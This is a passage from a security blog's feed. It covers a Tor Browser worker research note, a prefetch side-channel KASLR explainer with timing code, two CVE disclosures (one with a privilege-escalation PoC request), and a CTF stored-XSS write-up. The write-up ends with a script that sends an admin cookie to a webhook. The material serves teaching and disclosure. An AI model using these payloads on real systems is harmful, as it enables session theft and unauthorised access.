
Standard onion control:

```text
top typeof WebAssembly: object
worker wasmType=object compiled=true
```

Server log for both runs:

```text
PATH=/index.html Sec-Fetch-Dest=document Sec-Fetch-Mode=navigate
PATH=/worker.js Sec-Fetch-Dest=worker Sec-Fetch-Mode=same-origin
```

That log matters. It proves the `https://` equivalent worker fetch carries the worker dest, so it hits the `filterResponseData` path. The worker is cleaned. No bypass.

## Every https:// to file:// bridge I tried was rejected

From an `http://127.0.0.1:8899` top as a stand-in for scheme and same-origin logic:

- `new Worker(&apos;file:///...&apos;)`: throw worker error
- `new SharedWorker(&apos;file:///...&apos;)`: throw
- `new Worker(&apos;/redirect-file&apos;)` with 302 to `file://`: throw, and the first fetch still logged `Sec-Fetch-Dest=worker`
- Blob worker `importScripts(&apos;file:///...&apos;)`: SecurityError inside worker
- Blob worker spawning sub `Worker(&apos;file:///...&apos;)`: timeout with no Wasm message
- `import(&apos;file:///...&apos;)`: throw TypeError
- `Worker(&apos;chrome://...&apos;)`, `resource://`, `moz-extension://`, `about:blank`, `javascript:...`, `view-source:...`: all throw
- `audioWorklet.addModule(&apos;file:///...&apos;)`: throw AbortError

`blob:` and `data:` workers on a warm Safer profile stayed blocked because the inline patch still carries the deletion. Shadow DOM iframes were invisible to `window.length` and not observed, but the child content script still removed Wasm for `srcdoc`, `data:`, and `blob:` in my runs. No stable steal there.

## Honest close

- Technical bug is real: a `file://` Dedicated Worker at Safer keeps working `WebAssembly.compile` while the top page does not. Root cause is the header-gated filter plus inline handling limited to `data:` and `blob:`.
- Remote bounty is not made: a normal `https://` attacker has no shown path to that `file://` realm, and live `https://` equivalent workers are patched with headers present.
- Right status is HOLD as a local file note, DROP as a web attacker finding.
- Sensible fix in one line: handle `file:` workers with the same inline prepend used for `blob:` and `data:`, or refuse `file:` workers at Safer if local workers are out of scope.

I keep this as research because the method transfers: lock the version, prove top blocked, prove worker compiled, prove the Standard control, prove the headers, test bridges until one breaks or all reject, then stop and label what was not proved.</content:encoded><category>tor</category><category>wasm</category><category>research</category><author>b4r</author></item><item><title>prefetch attacks</title><link>https://baradika.web.id/blog/prefetch-attacks/</link><guid isPermaLink="true">https://baradika.web.id/blog/prefetch-attacks/</guid><description>a short note on ASLR, KASLR, and how x86 prefetch timing can leak valid kernel address ranges through a side channel</description><pubDate>Thu, 24 Sep 2026 00:00:00 GMT</pubDate><content:encoded>## fun fact
i wrote this blog at `02:32 AM` lol xD, idk im bored so i decided to make this post about the research

## ASLR

ASLR merupakan singkatan dari [Address Space Layout Randomization](https://en.wikipedia.org/wiki/Address_space_layout_randomization), yaitu teknik yang digunakan oleh sistem operasi untuk mengamankan proses di user space terhadap eksploitasi dengan _memory corruption_. Ini dicapai dengan meletakkan alamat kode atau data pada sebuah proses di lokasi yang acak, sehingga seorang penyerang tidak tau dimana letaknya yang pasti. Pada sistem operasi modern seperti Linux, Windows, dan MacOS, letak alamat pada kernel juga diacak. Hal ini disebut dengan [KASLR](https://lwn.net/Articles/569635/) (Kernel Address Space Layout Randomization). Linux sendiri sudah menggunakan KASLR sejak 2014. Untuk mempermudah, blog ini akan menggunakan sistem operasi Linux (di x86), tetapi hal yang dipelajari mungkin dapat diterapkan di sistem lain.

Cara kerja ASLR (dan KASLR) adalah dengan mengacak lokasi dasar dari sebuah bagian memori. Jika bagian memori tersebut sebesar N _page_ (1 _page_ adalah 4096 byte pada sebagian besar sistem operasi), maka N _page_ tersebut akan selalu berurutan, tetapi alamat dasarnya akan diacak. Sebagai contoh, jika sebuah proses membutuhkan sebesar 10 _page_, maka Linux akan memilih secara acak lokasi untuk _page_ pertama, lalu menempatkan _page_ sisanya berdasarkan urutan yang dibutuhkan proses tersebut. Hal ini mempermudah dan mempercepat penerapan ASLR, sehingga tidak melambatkan performa sistem terlalu drastis.

Terdapat berbagai cara untuk mengalahkan ASLR, yang paling sering digunakan adalah mendapatkan alamat dari satu lokasi pada sebuah bagian memori (sering disebut _leak_ (bocoran)). Dikarenakan ASLR menempatkan semua page pada sebuah bagian memori sesuai dengan urutan yang dibutuhkan proses tersebut, maka dengan menambahkan atau mengurangi _leak_ tersebut dengan nilai konstan, maka kita bisa mendapatkan alamat bagian kode manapun.


&gt; Catatan: Ini merupakan trik yang sangat basic yang digunakan di dunia *binary exploitation*, dan dapat dipelajari dengan menyelesaikan soal CTF yang simpel.


KASLR bersifat sama. Ketika komputer dinyalakan, sistem akan menempatkan beberapa bagian memori kernel pada lokasi tertentu. Sebagai catatan di (Linux) kernel terdapat berbagai bagian memori yang berbeda. Tujuan masing-masing bagian tersebut diluar cakupan blog ini, tapi garis besarnya dapat dilihat [disini](https://www.kernel.org/doc/Documentation/x86/x86_64/mm.txt). Jadi, ketika ingin mengalahkan KASLR untuk bagian _kernel text_, kita mesti mendapatkan _leak_ dari salah satu alamat di _kernel text_. Setelah itu, dengan menambakan atau mengurangi _leak_ tersebut, maka seluruh _kernel text_ dapat diketahui.

Biasanya, sebuah _leak_ didapatkan dengan sebuah bug pada kernel. Contohnya adalah [CVE-2024-26816](https://nvd.nist.gov/vuln/detail/CVE-2024-26816). Akan tetapi, di blog ini kita bakal melihat sebuah “bug” pada CPU, khususnya CPU Intel dan AMD (x86).

## Prefetch

Kalo diperhatikan, komputer zaman sekarang sudah luar biasa kencang. Alasan terbesar adalah kemajuan pada pembuatan komponen komputer, tapi alasan lain ada pada desain komponennya. Pada CPU sendiri, konsep seperti [pipelining](https://en.wikipedia.org/wiki/Instruction_pipelining) dan [caching](https://en.wikipedia.org/wiki/CPU_cache) sangat membantu untuk meningkatkan performa CPU. Selain itu, terdapat berbagai trik pada level perangkat lunak yang dapat digunakan untuk meningkatkan performa. Salah satunya adalah menggunakan *instruction set* yang lebih kompleks seperti *instruction set* AVX, yang dapat melakukan komputasi dengan ukuran *register* yang lebih besar dalam satu instruksi.


Yang ingin kita dalami adalah instruksi [PREFETCHh](https://www.felixcloutier.com/x86/prefetchh). Ini merupakan instruksi yang membantu meningkatkan performa dengan cara mengambil data dari memori dan menyimpannya di _cache_ sebelum dilakukan instruksi _load_ beneran. Cara kerjanya berbeda2 untuk masing-masing CPU, dan pembahasan mengenai cara _prefetch_ diimplementasikan diluar cakupan blog ini (Ini sebenarnya alasan saja karena saya pun tidak ngerti).

Yang menarik dari instruksi _PREFETCHh_ adalah ketiadaan pengecekan _privilege level_. Artinya, user biasa (_unprivileged user_) dapat melakukan _prefetch_ pada alamat memory manapun, termasuk alamat memori kernel*. Ini bukan berarti data yang terdapat pada memori kernel dapat diakses (catatan: Meltdown &amp; Spectre), tapi memori tersebut tetap akan diambil dan disimpan di cache CPU. Level cachenya bergantung pada variasi _prefetch_ yang kita lakukan, dan perbedaan diluar cakupan blog ini.

&gt; Coba berpikir untuk sejenak mengenai paragraf sebelumnya. Seorang _unprivileged user_ bisa _prefetch_ alamat kernel, tapi ngga bisa diakses. Bagaimana bisa leak alamat kernel kalau ngga bisa diakses?

*Jika KPTI hidup, alamat memori kernel juga tidak dapat dilakukan _prefetch_. Pengecualikan ada pada [CVE-2022-4543](https://www.willsroot.io/2022/12/entrybleed.html)

## Sidechannel

Kita bisa menggunakan sebuah teknik bernama *sidechannel* untuk mendapatkan *leak* alamat memori kernel. Menurut riset dari [Gruss et.al](https://gruss.cc/files/prefetch.pdf), kita bisa mengukur waktu yang dibutuhkan untuk *prefetch* sebuah alamat memori kernel. Sebuah alamat memori yang valid akan berhasil dilakukan *prefetch*, sedangkan alamat memori yang invalid tidak akan berhasil. Oleh karena itu, jika dilakukan *prefetch* beberapa kali pada alamat yang sama, alamat memori yang valid membutuhkan **waktu yang lebih singkat**, disebabkan alamat memori tersebut sudah tersimpan pada cache CPU. Jadi, kita bisa mencoba seluruh kemungkinan kernel address (di x86, area .text hanya ada [512 kemungkinan!](https://github.com/torvalds/linux/blob/9702969978695d9a699a1f34771580cdbb153b33/arch/x86/Kconfig#L2108)) dan melakukan *prefetch* pada alamat tersebut. Alamat yang valid akan berhasil di *prefetch*, dan waktu yang dibutuhkan akan lebih singkat dibanding alamat yang tidak valid.

Secara singkat, pengukuran lamanya _prefetch_ dapat dilakukan dengan potongan kode berikut (dari [https://www.willsroot.io/2022/12/entrybleed.html](https://www.willsroot.io/2022/12/entrybleed.html)):
```c
uint64_t sidechannel(uint64_t addr) {
    uint64_t a, b, c, d;
    asm volatile(&quot;.intel_syntax noprefix;&quot;
                 &quot;mfence;&quot;
                 &quot;lfence;&quot;
                 &quot;rdtsc;&quot;
                 &quot;mov %0, rax;&quot;
                 &quot;mov %1, rdx;&quot;
                 &quot;xor rax, rax;&quot;
                 &quot;lfence;&quot;
                 &quot;prefetchnta qword ptr [%4];&quot;
                 &quot;prefetcht2 qword ptr [%4];&quot;
                 &quot;xor rax, rax;&quot;
                 &quot;lfence;&quot;
                 &quot;rdtsc;&quot;
                 &quot;mov %2, rax;&quot;
                 &quot;mov %3, rdx;&quot;
                 &quot;mfence;&quot;
                 &quot;.att_syntax;&quot;
                 : &quot;=r&quot;(a), &quot;=r&quot;(b), &quot;=r&quot;(c), &quot;=r&quot;(d)
                 : &quot;r&quot;(addr)
                 : &quot;rax&quot;, &quot;rbx&quot;, &quot;rcx&quot;, &quot;rdx&quot;);
    a = (b &lt;&lt; 32) | a;
    c = (d &lt;&lt; 32) | c;
    return c - a; // timing difference
}
```

Kode untuk mendapatkan _leak_ alamat memori kernel secara lengkap dapat dicari pada sumber lain, atau menjadi bahan latihan.

## Latihan

Coba buat / minta AI untuk buat sebuah challenge CTF, dimana user diberikan cara untuk menjalankan _shellcode_ dan mesti mencari cara untuk membaca flag yang disimpan pada sebuah alamat random. Gunakan _prefetch_ attack buat leak alamat flagnya, lalu cetak flagnya.

Terdapat juga challenge di [Dreamhack](https://dreamhack.io/wargame/challenges/1055) dengan konsep yang sama.

## Referensi
* [https://gruss.cc/files/prefetch.pdf](https://gruss.cc/files/prefetch.pdf)
* [https://www.felixcloutier.com/x86/prefetchh](https://www.felixcloutier.com/x86/prefetchh)
* [https://www.willsroot.io/2022/12/entrybleed.html](https://www.willsroot.io/2022/12/entrybleed.html)
* [https://u1f383.github.io/linux/2025/01/02/linux-kaslr-entropy.html](https://u1f383.github.io/linux/2025/01/02/linux-kaslr-entropy.html)
* [https://lwn.net/Articles/569635/](https://lwn.net/Articles/569635/)
* [https://www.kernel.org/doc/Documentation/x86/x86_64/mm.txt](https://www.kernel.org/doc/Documentation/x86/x86_64/mm.txt)</content:encoded><category>linux</category><category>linux kernel</category><category>binary exploitation</category><author>b4r</author></item><item><title>dbus broadcast snooping through xdg-dbus-proxy</title><link>https://baradika.web.id/blog/xdg-dbus-proxy-cve-2026-93676/</link><guid isPermaLink="true">https://baradika.web.id/blog/xdg-dbus-proxy-cve-2026-93676/</guid><description>CVE-2026-93676 in xdg-dbus-proxy let a sandboxed app monitor broadcast signals it was never supposed to see</description><pubDate>Sun, 20 Sep 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

A filtering regression in `xdg-dbus-proxy` let a sandboxed Flatpak app listen in on D-Bus broadcast signals it had no permission to receive.

- `CVE-2026-93676` (Low, CVSS 3.2)
- Affected versions 0.1.6 and 0.1.7, fixed in 0.1.8
- The entire bug is one commit that dropped the path/interface/member checks
- Reported by me, credited on the advisory, published by the maintainer

Low severity, but I like this one because the bug is a clean example of how a sandbox proxy fails: the gate is there, it just stops checking tickets.

## Background

Flatpak sandboxes apps by cutting them off from the host D-Bus session bus. `xdg-dbus-proxy` is the doorman: it sits between the sandboxed app and the real bus and only forwards messages the app is allowed to see, based on `--talk`, `--broadcast`, and `--call` rules.

Broadcast signals are the interesting case. Unlike method calls (point to point), broadcasts go to everyone listening, so the proxy has to filter them by matching each signal against the allowed rules: the right **path**, the right **interface**, the right **member**. Skip any of those checks and the app hears things it shouldn&apos;t.

## The bug

Commit `0297845` changed the broadcast filtering path and dropped exactly those checks. From the advisory: filtering for broadcast messages bypassed path/interface/member validation, so any version carrying that commit (0.1.6, 0.1.7, plus backports) forwarded broadcast signals without verifying the app was actually allowed to receive them.

Concretely: a malicious or merely compromised Flatpak app could monitor **any** broadcast signal on the session bus or the AT-SPI (accessibility) bus: traffic from other apps, potentially containing information never meant for it. Same story for any non-Flatpak framework using `xdg-dbus-proxy ... --broadcast=…` or `--call=…`.

The attacker model is narrow (local, low-privileged, needs a cooperative user interaction, confidentiality-only impact), hence Low, CVSS `AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N`. Fair rating. Sandbox escapes that only leak broadcasts are the shallow end of the pool, but the pool is still the sandbox boundary, so it still counts.

## The fix (and why it wasn&apos;t a one-liner)

The fix is a revert of `0297845`, shipped in 0.1.8. But reverting broke something real, which is the most instructive part of this advisory.

Flatpak 1.15.9+ tried to let sandboxed apps receive two broadcast signals on the AT-SPI bus for accessibility, but the `--broadcast` rules Flatpak passed to the proxy were themselves incorrect. So the vulnerability had been accidentally papering over a Flatpak bug: fixing the proxy regressed accessibility features for Flatpak apps. That companion bug was fixed separately in Flatpak 1.18.1 (`flatpak/flatpak@2afb4cf`, &quot;run-dbus: Correct --broadcast rules for the AT-SPI bus&quot;).

Two lessons I keep relearning:

1. **A security fix that reverts to &quot;correct&quot; behavior can still break things**, when other components quietly depended on the broken behavior. The advisory documents three such regressions (Flatpak AT-SPI, apps relying on accidental signal delivery, other frameworks): that level of honesty in an advisory is rare and good.
2. **Allowlists rot.** The `--talk-name`/`--system-talk-name` permissions exist precisely for this; apps that need signals should declare them instead of inheriting them through a filtering hole.

## Timeline

- Reported by me, credited on the advisory
- **Aug 11, 2026**: Advisory published by the maintainer, fix in 0.1.8

## References

- [GHSA-r7hp-698j-2h6c](https://github.com/flatpak/xdg-dbus-proxy/security/advisories/GHSA-r7hp-698j-2h6c)
- [CVE-2026-93676 (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2026-93676)
- [Revert commit 0297845](https://github.com/flatpak/xdg-dbus-proxy/commit/029784535ed9cbec6c431b12ba1a9eca6c147055)</content:encoded><category>vulnerability</category><category>cve</category><category>linux</category><author>b4r</author></item><item><title>cross-app builder privilege escalation in budibase</title><link>https://baradika.web.id/blog/budibase-cve-2026-82240/</link><guid isPermaLink="true">https://baradika.web.id/blog/budibase-cve-2026-82240/</guid><description>CVE-2026-82240 in budibase let an app-scoped builder grant builder access to unrelated apps through the public user API</description><pubDate>Sun, 13 Sep 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

Budibase before 3.41.3 let an authenticated **app-scoped builder** grant builder access to apps they don&apos;t control, through the public user create/update API.

- `CVE-2026-82240` (High, CVSS 8.1, CWE-862)
- A builder for App A could give themselves (or anyone) builder access to App B
- The fix: validate app-scoped role assignments per target app, patched in 3.41.3

One note on attribution, because the record matters: I reported this on July 6 and I&apos;m credited as reporter on the advisory. CVE-2026-82240 was assigned through VulnCheck&apos;s report of the same bug, published August 28, after mine. One vulnerability gets one CVE ID, so GitHub dedupes to a single number. Two independent finders, mine first.

## The bug

Budibase has a concept of app-scoped builders: a user who can build App A but has no power over App B. The public API (`PUT /api/public/v1/users/:userId` and `POST /api/public/v1/users`) accepts a `builder.apps` field in the request body.

The problem: the vulnerable path calls `createUpdateResponse()`, which validates **global** role updates just fine, but app-scoped role assignments like `builder.apps` never go through that validation at all. When expanded public API behavior is enabled, nothing strips or rejects the field, and the worker-side user save happily persists it.

So the authorization model had a hole exactly shaped like the feature: global roles checked, app-scoped roles not.

## Attacker model

- Authenticated
- A builder for App A (nothing more)
- Allowed to use App A&apos;s public API key
- Not a global admin, not a global builder, not a builder for App B

## Proof of concept

As the App A builder, update any user (including yourself) and slip in builder access for App B:

```http
PUT /api/public/v1/users/{targetUserId}
x-budibase-api-key: &lt;attacker_public_api_key&gt;
x-budibase-app-id: &lt;app_a_id&gt;
Cookie: &lt;attacker_app_builder_session&gt;
Content-Type: application/json

{
  &quot;_id&quot;: &quot;{targetUserId}&quot;,
  &quot;email&quot;: &quot;target@example.com&quot;,
  &quot;roles&quot;: {},
  &quot;builder&quot;: {
    &quot;apps&quot;: [&quot;app_target_b&quot;]
  }
}
```

Response comes back with the access persisted:

```json
{
  &quot;builder&quot;: {
    &quot;apps&quot;: [&quot;app_target_b&quot;]
  }
}
```

I confirmed this end to end with a temporary Jest test against Budibase 3.39.26 (removed after validation):

- Basic non-builder user sending the same request: **403**
- App A builder sending it: **200**, and the target user can now perform builder-only actions against App B

The negative control matters here. The same harness correctly denied a basic user, so this isn&apos;t a test setup artifact: the endpoint genuinely distinguishes &quot;no access&quot; from &quot;builder access&quot; and just never asks the second question about *which* app.

## Impact

Builder access in Budibase is not a vanity role. It covers the target app&apos;s design and data plane: screens, automations, queries, datasource-backed actions. A low-privileged builder (or a compromised builder account) could silently expand into any app in the same tenant.

CVSS 3.1 vector: `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`: network-reachable, low complexity, no user interaction, high confidentiality and integrity impact.

## The fix

Patched in Budibase 3.41.3. Conceptually the fix is what you&apos;d expect: reject or strip app-scoped role fields like `builder.apps` from public user create/update requests unless the caller is allowed to assign builder access for **every** target app ID, not just the app in the request context.

The broader lesson, which I keep running into across projects: when an endpoint accepts a nested object, every level of that object needs its own authorization check. Validating the top level (`roles`) while passing the nested level (`builder.apps`) straight through to the persistence layer is the same shape as half the IDORs I write about.

I also suggested maintaining an explicit allowlist of user fields for the public API instead of letting role-bearing internal fields flow through to the worker-side save.

## Timeline

- **Jul 6, 2026**: Opened the private advisory, credited as reporter
- **Jul 22, 2026**: Accepted by the Budibase team, CVE requested
- **Aug 28, 2026**: CVE-2026-82240 published (assigned via VulnCheck&apos;s independent report of the same bug, which came after mine; one bug, one ID)
- **Sep 2026**: Advisory reviewed and published, fix in 3.41.3

## References

- [GHSA-468g-55qj-v8rr](https://github.com/Budibase/budibase/security/advisories/GHSA-468g-55qj-v8rr)
- [CVE-2026-82240 (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2026-82240)
- [VulnCheck advisory](https://www.vulncheck.com/advisories/budibase-before-3.41.3-privilege-escalation-via-user-update-api)</content:encoded><category>vulnerability</category><category>cve</category><category>authorization</category><author>b4r</author></item><item><title>LKS internal selection 2026 writeup</title><link>https://baradika.web.id/blog/lks-internal-2026/</link><guid isPermaLink="true">https://baradika.web.id/blog/lks-internal-2026/</guid><description>2 web exploit + 2 reversing challs</description><pubDate>Fri, 11 Sep 2026 00:00:00 GMT</pubDate><content:encoded># titippesan

## Challenge Description

so di sini, peserta mendapatkan link suatu website beserta zip source nya, berikut isi dari zip source nya

![ ](./titippesanunzip-l.png)

## Analysis

kerentanan nya berada pada file `src/views/admin.ejs` dan `src/views/admin-message.ejs`

`admin.ejs`:
```js
&lt;%- include(&apos;partials/header&apos;, { user, title: &apos;Inbox admin&apos; }) %&gt;
&lt;div class=&quot;page-head&quot;&gt;
  &lt;h1&gt;Inbox&lt;/h1&gt;
  &lt;p&gt;&lt;%= unread %&gt; pesan belum dibaca. Klik untuk membaca penuh.&lt;/p&gt;
&lt;/div&gt;
&lt;% if (messages.length === 0) { %&gt;
  &lt;div class=&quot;empty&quot;&gt;Inbox kosong. Warga belum nitip pesan.&lt;/div&gt;
&lt;% } else { %&gt;
  &lt;div class=&quot;list&quot;&gt;
    &lt;% messages.forEach(function(m) { %&gt;
      &lt;a class=&quot;row pesan-link&quot; href=&quot;/admin/messages/&lt;%= m.id %&gt;&quot;&gt;
        &lt;span&gt;
          &lt;span class=&quot;judul&quot;&gt;&lt;%- m.title %&gt;&lt;/span&gt;
          &lt;% if (!m.is_read) { %&gt;&lt;span class=&quot;badge baru&quot;&gt;baru&lt;/span&gt;&lt;% } %&gt;
          &lt;br&gt;&lt;span class=&quot;sub&quot;&gt;dari &lt;strong&gt;&lt;%= m.sender %&gt;&lt;/strong&gt; &amp;middot; #&lt;%= m.id %&gt;&lt;/span&gt;
        &lt;/span&gt;
        &lt;span class=&quot;waktu&quot;&gt;&lt;%= m.created_at %&gt;&lt;/span&gt;
      &lt;/a&gt;
    &lt;% }) %&gt;
  &lt;/div&gt;
&lt;% } %&gt;
&lt;%- include(&apos;partials/footer&apos;) %&gt;
```

`admin-message.ejs`:
```js
&lt;%- include(&apos;partials/header&apos;, { user, title: &apos;Baca pesan&apos; }) %&gt;
&lt;a class=&quot;back&quot; href=&quot;/admin/messages&quot;&gt;&amp;larr; Kembali ke inbox&lt;/a&gt;
&lt;div class=&quot;pesan&quot;&gt;
  &lt;div class=&quot;pesan-head&quot;&gt;
    &lt;h2&gt;&lt;%- msg.title %&gt;&lt;/h2&gt;
    &lt;div class=&quot;pesan-meta&quot;&gt;Dari &lt;%= msg.sender %&gt; &amp;middot; &lt;%= msg.created_at %&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;pesan-body&quot;&gt;&lt;%- msg.body.replace(/\n/g, &apos;&lt;br&gt;&apos;) %&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;%- include(&apos;partials/footer&apos;) %&gt;
```

sekilas kedua file di atas terlihat normal, tapi perhatikan tag ejs yang dipakai untuk me-render data user:

* `&lt;%= ... %&gt;` → output di-**escape** (aman dari xss)
* `&lt;%- ... %&gt;` → output **mentah / tidak di-escape**

judul (`&lt;%- m.title %&gt;`) dan isi pesan (`&lt;%- msg.body ... %&gt;`) dirender mentah, dan itu titik masuknya

sekarang telusuri dari hulu (input) sampai hilir (bot admin) untuk memastikan alurnya bener bener nyambung

### 1. input: pesan disimpan tanpa sanitasi (`src/routes/messages.js`)

```js
router.post(&apos;/message&apos;, requirelogin, (req, res) =&gt; {
  const title = string(req.body.title || &apos;&apos;).trim();
  const body = string(req.body.body || &apos;&apos;).trim();

  if (title.length &lt; 3 || title.length &gt; 120) {
    // ... 400 ...
  }

  if (body.length &lt; 5 || body.length &gt; 5000) {
    // ... 400 ...
  }

  const info = db.get().prepare(
    &apos;insert into messages (user_id, title, body) values (?, ?, ?)&apos;
  ).run(req.user.id, title, body);

  // ...
});
```

validasi yang ada cuma panjang karakter, tidak ada stripping tag html, tidak ada sanitasi, dan tidak ada encode

html/js apa pun yang dikirim lewat form judul pesan / isi pesan tersimpan lengkap di sqlite

artinya ini **stored xss**, bukan reflected: payload mengendap di db dan dieksekusi setiap kali halaman admin dibuka

### 2. output: bukan cuma halaman admin yang rentan

selain dua file admin di atas, halaman user biasa juga me-render mentah:

`src/views/messages.ejs`

```ejs
&lt;%- m.title %&gt;
```

`src/views/message-detail.ejs`

```ejs
## &lt;%- msg.title %&gt;

...

&lt;%- msg.body.replace(/\n/g, &apos;&lt;br&gt;&apos;) %&gt;
```

ini berguna untuk attacker: payload bisa dites dulu di sesi sendiri (buka `/messages/` milik sendiri, lalu lihat apakah script jalan) sebelum menunggu bot admin.

sementara field yang di-escape seperti `&lt;%= msg.sender %&gt;` dan `&lt;%= m.created_at %&gt;` tidak bisa dipakai karna username dibatasi regex `^[a-z0-9_]{3,20}$` saat register, jadi tidak ada celah lewat situ

### 3. session: cookie tanpa httponly (`src/routes/auth.js`)

```js
res.cookie(&apos;session&apos;, token, {
  httponly: false,
  samesite: &apos;lax&apos;,
  path: &apos;/&apos;,
  maxage: 7 * 24 * 60 * 60 * 1000
});
```

token dibuat dari `crypto.randombytes(32).tostring(&apos;hex&apos;)` 64 hex char, tidak bisa ditebak, dan sesi disimpan di tabel `sessions` lalu dicek ulang di db setiap request (`src/middleware/auth.js` → `loadsession`).

jadi tidak ada jalan memalsukan session, satu-satunya cara mendapatkan sesi admin adalah mencurinya, dan `httponly: false` membuat `document.cookie` bisa dibaca oleh javascript

ini kondisi yang sengaja disiapkan untuk diexploit

tambahan: tidak ada middleware csp/helmet di `src/server.js`, jadi `&lt;script&gt;` inline dari pesan ga dibokir browser saat page admin dibuka

### 4. target: flag hanya untuk admin (`/src/routes/admin.js`)

```js
router.get(&apos;/admin/flag&apos;, requireadmin, (req, res) =&gt; {
  const flag = process.env.flag || &apos;smkn24{flag_belum_dikonfigurasi_hubungi_panitia}&apos;;
  res.render(&apos;admin-flag&apos;, { user: req.user, flag });
});
```

`requireadmin` ngereject non-admin (redirect ke `/login` kalau belum login, `403` kalau sudah login tapi bukan admin)

### eksekutor: bot admin (`src/bot.js`)

```js
const crypto = require(&apos;crypto&apos;);
const db = require(&apos;./db&apos;);

let running = false;

function sleep(ms) {
  return new Promise((r) =&gt; setTimeout(r, ms));
}

async function ensureAdminSession(username) {
  const database = db.get();
  const admin = database.prepare(&apos;SELECT * FROM users WHERE username = ?&apos;).get(username);
  if (!admin) return null;
  const token = crypto.randomBytes(32).toString(&apos;hex&apos;);
  database.prepare(&apos;INSERT INTO sessions (token, user_id) VALUES (?, ?)&apos;).run(token, admin.id);
  return token;
}

async function visitAsAdmin(baseUrl, sessionToken, perMessageWaitMs) {
  const { chromium } = require(&apos;playwright&apos;);
  const browser = await chromium.launch({
    headless: true,
    args: [
      &apos;--no-sandbox&apos;,
      &apos;--disable-setuid-sandbox&apos;,
      &apos;--disable-dev-shm-usage&apos;,
      &apos;--disable-gpu&apos;
    ]
  });
  try {
    const context = await browser.newContext();
    await context.addCookies([{
      name: &apos;session&apos;,
      value: sessionToken,
      domain: new URL(baseUrl).hostname,
      path: &apos;/&apos;,
      httpOnly: false,
      sameSite: &apos;Lax&apos;
    }]);
    const page = await context.newPage();

    await page.goto(baseUrl + &apos;/admin/messages&apos;, { waitUntil: &apos;domcontentloaded&apos;, timeout: 15000 });
    await page.waitForTimeout(1500);

    let links = [];
    try {
      links = await page.$$eval(&apos;a.pesan-link&apos;, (as) =&gt; as.map((a) =&gt; a.getAttribute(&apos;href&apos;)));
    } catch (e) {
      links = [];
    }
    links = (links || []).filter(Boolean).slice(0, 100);

    for (const href of links) {
      const url = href.startsWith(&apos;http&apos;) ? href : baseUrl + href;
      try {
        await page.goto(url, { waitUntil: &apos;domcontentloaded&apos;, timeout: 15000 });
        await page.waitForTimeout(perMessageWaitMs);
      } catch (e) {
      }
    }

    try {
      await page.goto(baseUrl + &apos;/admin/messages&apos;, { waitUntil: &apos;domcontentloaded&apos;, timeout: 15000 });
      await page.waitForTimeout(1500);
    } catch (e) {}

    await context.close();
  } finally {
    await browser.close().catch(() =&gt; {});
  }
}

async function loginAndGetCookie(baseUrl, username, password) {
  const { chromium } = require(&apos;playwright&apos;);
  const browser = await chromium.launch({
    headless: true,
    args: [&apos;--no-sandbox&apos;, &apos;--disable-setuid-sandbox&apos;, &apos;--disable-dev-shm-usage&apos;, &apos;--disable-gpu&apos;]
  });
  try {
    const context = await browser.newContext();
    const page = await context.newPage();
    await page.goto(baseUrl + &apos;/login&apos;, { waitUntil: &apos;domcontentloaded&apos;, timeout: 15000 });
    await page.fill(&apos;input[name=&quot;username&quot;]&apos;, username);
    await page.fill(&apos;input[name=&quot;password&quot;]&apos;, password);
    await Promise.all([
      page.waitForNavigation({ waitUntil: &apos;domcontentloaded&apos;, timeout: 15000 }).catch(() =&gt; {}),
      page.click(&apos;button[type=&quot;submit&quot;]&apos;)
    ]);
    const cookies = await context.cookies();
    const sess = cookies.find((c) =&gt; c.name === &apos;session&apos;);
    await context.close();
    return sess ? sess.value : null;
  } finally {
    await browser.close().catch(() =&gt; {});
  }
}

async function startBot({ baseUrl, username, password, intervalMs }) {
  if (running) return;
  running = true;

  const wait = Math.max(8000, intervalMs || 15000);
  const perMessageWaitMs = Number(process.env.BOT_PAGE_WAIT_MS || 3500);

  console.log(`[bot] start, baseUrl=${baseUrl} interval=${Math.round(wait / 1000)}s`);

  for (let i = 0; i &lt; 30; i++) {
    try {
      const res = await fetch(baseUrl + &apos;/healthz&apos;);
      if (res.ok) break;
    } catch (e) {}
    await sleep(1000);
  }

  let sessionToken = null;
  if (password) {
    for (let i = 0; i &lt; 3; i++) {
      try {
        sessionToken = await loginAndGetCookie(baseUrl, username, password);
        if (sessionToken) {
          console.log(&apos;[bot] login via form berhasil.&apos;);
          break;
        }
      } catch (e) {
        console.log(&apos;[bot] login percobaan gagal:&apos;, e.message);
      }
      await sleep(2000);
    }
  }
  if (!sessionToken) {
    sessionToken = await ensureAdminSession(username);
    if (sessionToken) console.log(&apos;[bot] memakai sesi admin internal.&apos;);
  }
  if (!sessionToken) {
    console.error(&apos;[bot] tidak bisa mendapatkan sesi admin, bot berhenti.&apos;);
    return;
  }

  for (;;) {
    try {
      await visitAsAdmin(baseUrl, sessionToken, perMessageWaitMs);
      const row = db.get().prepare(&apos;SELECT token FROM sessions WHERE token = ?&apos;).get(sessionToken);
      if (!row) {
        console.log(&apos;[bot] sesi hilang, membuat sesi baru.&apos;);
        if (password) {
          const t = await loginAndGetCookie(baseUrl, username, password).catch(() =&gt; null);
          sessionToken = t || await ensureAdminSession(username);
        } else {
          sessionToken = await ensureAdminSession(username);
        }
      }
    } catch (e) {
      console.log(&apos;[bot] putaran gagal:&apos;, e.message);
    }
    await sleep(wait);
  }
}

module.exports = { startBot };
```

bot playwright login sebagai admin, lalu tiap interval(`bot_interval`, 60 detik):
1. buka `/admin/messages`,
2. kumpulkan semua link `a.pesan-link` (maks. 100 pesan newest),
3. buka tiap `/admin/messages/:id` satu per satu dan nunggu +-3,5 detik (`bot_page_wait_ms`) biar js sempet jalan,
4. repeat selama server jalan, tiap pesan otomatis ditandai `is_read = 1` oleh route nya
## Proof of Concept

### 1. register akun

![](register.png)

setelah regis akan langsung diarahin ke dashboard, 

![](dashboard.png)

### 2. kirim payload via fitur &quot;kirim pesan ke admin&quot;

![](kirimpesan.png)

karna mau ambil cookie si bot, maka kita buat payload seperti ini:
```js
&lt;script&gt;fetch(&apos;&lt;WEBHOOK&gt;&apos;+document.cookie)&lt;/script&gt;
```

![](titipesanpayload.png)

kirim,

![](menunggu.png)

